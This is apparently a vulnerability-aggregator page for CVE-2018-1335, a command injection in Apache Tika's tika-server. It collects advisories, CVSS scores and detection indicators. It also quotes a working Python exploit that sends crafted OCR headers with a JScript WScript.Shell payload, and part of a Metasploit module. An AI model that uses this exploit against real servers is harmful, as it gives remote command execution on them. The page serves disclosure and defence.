CVE-2018-1335
published 2018-04-25CVE-2018-1335: From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line…
PriorityP186high8.1CVSS 3.0
AVNACHPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
93.97%
99.8th percentile
From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.
Affected
5 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | tika | < 1.18 | 1.18 |
| apache | tika | — | — |
| apache | tika | >= 0 < 1.18-1 | 1.18-1 |
| apache_software_foundation | apache_tika | — | — |
| debian | tika | < tika 1.18-1 (bullseye) | tika 1.18-1 (bullseye) |
Detection & IOCsextracted from sources · hover to see the quote
commandvar oShell = WScript.CreateObject('WScript.Shell');var oExec = oShell.Exec("cmd /c whoami");↗
sigma↗
matchers: Content-Type: text/csv in response header AND org.apache.tika.parser.DefaultParser OR org.apache.tika.parser.gdal.GDALParse in body AND HTTP 200
- →Look for HTTP PUT requests to the /meta endpoint on port 9998 (default tika-server port) containing the headers X-Tika-OCRTesseractPath and X-Tika-OCRLanguage simultaneously — this is the exploit delivery pattern. ↗
- →The exploit uses Content-type: image/jp2 to bypass magic bytes checking on the tika-server; flag PUT requests to /meta with this content type as suspicious. ↗
- →The payload body contains a JScript stub using WScript.CreateObject('WScript.Shell') and oShell.Exec to run arbitrary commands; inspect PUT request bodies to /meta for WScript references. ↗
- →Detect Apache Tika version exposure via the root endpoint response body matching 'Apache Tika (\d.[\d]+)' to identify vulnerable 1.15–1.17 instances. ↗
- →The exploit uses certutil as the CmdStagerFlavor for staging payloads on Windows; monitor for certutil.exe spawned as a child process of tika-server (java.exe). ↗
- ·The vulnerability only affects tika-server exposed to untrusted clients; tika-core (library-only) usage is not affected, as confirmed by multiple Red Hat package assessments. ↗
- ·Although the CVE covers Tika 1.7–1.17, practical exploitation via the jp2 bypass was only confirmed for versions > 1.14 due to jp2 support being added in that version. ↗
- ·The Metasploit module and PoC exploit target Windows only; Linux/other OS exploitation paths are not demonstrated in available sources. ↗
CVSS provenance
nvdv3.08.1HIGHCVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.3CRITICALAV:N/AC:M/Au:N/C:C/I:C/A:C
osv8.1HIGH
vulncheck8.1HIGH
vendor_apache8.1HIGH
vendor_debian8.1HIGH
vendor_redhat8.1HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
Command injection in org.apache.tika:tika-core
ghsa·2018-10-17
CVE-2018-1335 [HIGH] Command injection in org.apache.tika:tika-core
Command injection in org.apache.tika:tika-core
From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.
OSV
Command injection in org.apache.tika:tika-core
osv·2018-10-17
CVE-2018-1335 [HIGH] Command injection in org.apache.tika:tika-core
Command injection in org.apache.tika:tika-core
From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.
OSV
CVE-2018-1335: From Apache Tika versions 1
osv·2018-04-25·CVSS 8.1
CVE-2018-1335 [HIGH] CVE-2018-1335: From Apache Tika versions 1
From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.
VulnCheck
Apache Tika versions 1.7 to 1.17 Command Injection
vulncheck·2018·CVSS 8.1
CVE-2018-1335 [HIGH] Apache Tika versions 1.7 to 1.17 Command Injection
Apache Tika versions 1.7 to 1.17 Command Injection
From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.
Affected: Apache tika
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://dashboard.shadowserver.org/statistics/honeypot/vulnerability/map/?day=2023-12-05&host_type=src&vulnerability=cve-2018-1335; https://dashboard.shadowserver.org/statistics/honeypot/vulnerability
Red Hat
tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers
vendor_redhat·2018-04-25·CVSS 8.1
CVE-2018-1335 [HIGH] CWE-77 tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers
tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers
From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.
Statement: This issue affects the versions of tika which is embedded in the nutch package as shipped with Red Hat Satellite 5. The tika server is not exposed, as such exploitation is difficult, Red Hat Product Security has rated this issue as having security impact of Low. A future update may address this issue. For additional information
Debian
CVE-2018-1335: tika - From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted head...
vendor_debian·2018·CVSS 8.1
CVE-2018-1335 [HIGH] CVE-2018-1335: tika - From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted head...
From Apache Tika versions 1.7 to 1.17, clients could send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients. The mitigation is to upgrade to Tika 1.18.
Scope: local
bullseye: resolved (fixed in 1.18-1)
sid: resolved (fixed in 1.18-1)
Apache
Apache tika: CVE-2018-1335
vendor_apache·CVSS 8.1
CVE-2018-1335 [HIGH] Apache tika: CVE-2018-1335
Apache tika: CVE-2018-1335
Command Execution in tika-server Tim Allison ?-1.17
No detection rules found.
Exploit-DB
Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)
exploitdb·2019-08-05
CVE-2018-1335 Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)
Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)
---
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule 'Apache Tika Header Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Apache
Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is
used to bypass magic bytes checking. When OCR is specified in the
request, parameters can be passed to change the parameters passed
at command line to allow for arbitrary JScript to execute. A
JScript stub is passed to execute arbitrary code. This module was
verified against version 1.15 - 1.17 on Windows 2012.
While the CVE and finding show more versions vulnerable, d
Exploit-DB
Apache Tika-server < 1.18 - Command Injection
exploitdb·2019-03-13·CVSS 8.1
CVE-2018-1335 [HIGH] Apache Tika-server < 1.18 - Command Injection
Apache Tika-server "
print "Example: python CVE-2018-1335.py localhost 9998 calc.exe"
else:
host = sys.argv[1]
port = sys.argv[2]
cmd = sys.argv[3]
url = host+":"+str(port)+"/meta"
headers = {"X-Tika-OCRTesseractPath": "\"cscript\"",
"X-Tika-OCRLanguage": "//E:Jscript",
"Expect": "100-continue",
"Content-type": "image/jp2",
"Connection": "close"}
jscript='''var oShell = WScript.CreateObject("WScript.Shell");
var oExec = oShell.Exec('cmd /c {}');
'''.format(cmd)
try:
requests.put("https://"+url, headers=headers, data=jscript, verify=False)
except:
try:
requests.put("http://"+url, headers=headers, data=jscript)
except:
print "Something went wrong.\nUsage: python CVE-2018-1335.py "
Metasploit
Apache Tika Header Command Injection
metasploit
Apache Tika Header Command Injection
Apache Tika Header Command Injection
This module exploits a command injection vulnerability in Apache Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is used to bypass magic bytes checking. When OCR is specified in the request, parameters can be passed to change the parameters passed at command line to allow for arbitrary JScript to execute. A JScript stub is passed to execute arbitrary code. This module was verified against version 1.15 - 1.17 on Windows 2012. While the CVE and finding show more versions vulnerable, during testing it was determined only > 1.14 was exploitable due to jp2 support being added.
Nuclei
Apache Tika < 1.1.8 - Header Command Injection
nuclei·CVSS 8.1
CVE-2018-1335 [HIGH] Apache Tika < 1.1.8 - Header Command Injection
Apache Tika < 1.1.8 - Header Command Injection
Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
Template:
id: CVE-2018-1335
info:
name: Apache Tika < 1.1.8 - Header Command Injection
author: pikpikcu
severity: high
description: Apache Tika versions 1.7 to 1.17 allow clients to send carefully crafted headers to tika-server that could be used to inject commands into the command line of the server running tika-server. This vulnerability only affects those running tika-server on a server that is open to untrusted clients.
impact: |
Successful expl
Bugzilla
CVE-2018-18025 ImageMagick: heap-based buffer over-read in the EncodeImage function of coders/pict.c
bugzilla·2018-10-08·CVSS 6.5
CVE-2018-18025 [MEDIUM] CVE-2018-18025 ImageMagick: heap-based buffer over-read in the EncodeImage function of coders/pict.c
CVE-2018-18025 ImageMagick: heap-based buffer over-read in the EncodeImage function of coders/pict.c
A flaw was found in ImageMagick 7.0.8-13 Q16, there is a heap-based buffer over-read in the EncodeImage function of coders/pict.c, which allows attackers to cause a denial of service via a crafted SVG image file.
References:
https://github.com/ImageMagick/ImageMagick/issues/1335
Discussion:
Created ImageMagick tracking bugs for this issue:
Affects: fedora-all [bug 1637192]
---
Statement:
This issue did not affect the versions of ImageMagick as shipped with Red Hat Enterprise Linux 5, 6, and 7.
---
openshift-enterprise-3: notaffected as RHEL-7 is notaffected. Removed openshift-enterprise-3 from whiteboard.
Bugzilla
CVE-2018-1335 tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers
bugzilla·2018-04-27·CVSS 8.1
CVE-2018-1335 [HIGH] CVE-2018-1335 tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers
CVE-2018-1335 tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers
Apache Tika before version 1.18 has a command injection vulnerability in tika-server. A remote attacker could exploit this to execute arbitrary commands via crafted headers.
External References:
https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E
Discussion:
Created tika tracking bugs for this issue:
Affects: fedora-all [bug 1572418]
---
Statement:
This issue affects the versions of tika which is embedded in the nutch package as shipped with Red Hat Satellite 5. The tika server is not exposed, as such exploitation is difficult, Red Hat Product Security has rated this issue as having se
Bugzilla
CVE-2018-1335 tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers [fedora-all]
bugzilla·2018-04-27·CVSS 8.1
CVE-2018-1335 [HIGH] CVE-2018-1335 tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers [fedora-all]
CVE-2018-1335 tika: Command injection in tika-server can allow remote attackers to execute arbitrary commands via crafted headers [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of fedora-all.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg comm
Greynoiseio
Coordinated Cloud-Based Scanning Operation Targets 75 Known Exposure Points in One Day
blogs_greynoiseio·2025-05-27
Coordinated Cloud-Based Scanning Operation Targets 75 Known Exposure Points in One Day
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
Greynoiseio
NoiseLetter April 2024
blogs_greynoiseio
NoiseLetter April 2024
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Find out immediately if an asset communicates with a malicious IP address
Vulnerability Prioritization Get real-time insight into active exploitation trends to better understand risk and severity
SOC Efficiency Filter out noisy, low priority and false-positive alerts from mass internet scanners
Incident Investigation Add context to incidents to speed the determinations of scope and timelines
Threat Hunting Quickly identify anomalous behavior and enrich your threat hunting campaigns
Why GreyNoise
CVE Disclosure Early Warning Get an early warning when traffic spikes indicate a high likelihood of new disclosures
Compromised Asset Detection Fin
http://packetstormsecurity.com/files/153864/Apache-Tika-1.17-Header-Command-Injection.htmlhttp://www.securityfocus.com/bid/104001https://access.redhat.com/errata/RHSA-2019:3140https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca%40%3Cdev.tika.apache.org%3Ehttps://www.exploit-db.com/exploits/46540/http://packetstormsecurity.com/files/153864/Apache-Tika-1.17-Header-Command-Injection.htmlhttp://www.securityfocus.com/bid/104001https://access.redhat.com/errata/RHSA-2019:3140https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca%40%3Cdev.tika.apache.org%3Ehttps://www.exploit-db.com/exploits/46540/
2018-04-25
Published
Exploited in the wild